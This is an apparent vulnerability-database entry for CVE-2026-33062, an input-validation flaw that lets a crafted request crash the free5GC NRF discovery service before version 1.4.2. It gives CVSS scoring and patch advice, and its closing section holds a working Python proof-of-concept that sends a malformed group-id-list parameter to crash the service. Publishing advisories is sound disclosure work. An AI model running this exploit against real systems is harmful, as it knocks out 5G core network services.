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CVE-2026-33062 CVSS 7.5 HIGH

CVE-2026-33062

Published: 2026-03-20 03:16:01
Last Modified: 2026-03-27 17:13:12

Description

free5GC is an open source 5G core network. free5GC NRF prior to version 1.4.2 has an Improper Input Validation vulnerability leading to Denial of Service. All deployments of free5GC using the NRF discovery service are affected. The `EncodeGroupId` function attempts to access array indices [0], [1], [2] without validating the length of the split data. When the parameter contains insufficient separator characters, the code panics with "index out of range". A remote attacker can cause the NRF service to panic and crash by sending a crafted HTTP GET request with a malformed `group-id-list` parameter. This results in complete denial of service for the NRF discovery service. free5GC NRF version 1.4.2 fixes the issue. There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the NRF API to trusted sources only.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:free5gc:free5gc:*:*:*:*:*:*:*:* - VULNERABLE
free5GC NRF < 1.4.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-33062 # Target: free5GC NRF < 1.4.2 # Description: Triggers panic via malformed group-id-list def exploit(url): # Endpoint might vary, typically discovery service target = f"{url}/nnrf-disc/v1/nf-instances" # Malformed parameter with insufficient separators payload = { "group-id-list": "trigger-crash" } try: print(f"Sending payload to {target}...") r = requests.get(target, params=payload, timeout=5) print(f"Status Code: {r.status_code}") except requests.exceptions.RequestException as e: print(f"Service likely crashed or unreachable: {e}") if __name__ == "__main__": target_ip = "http://127.0.0.1:8000" # Replace with actual target exploit(target_ip)

References

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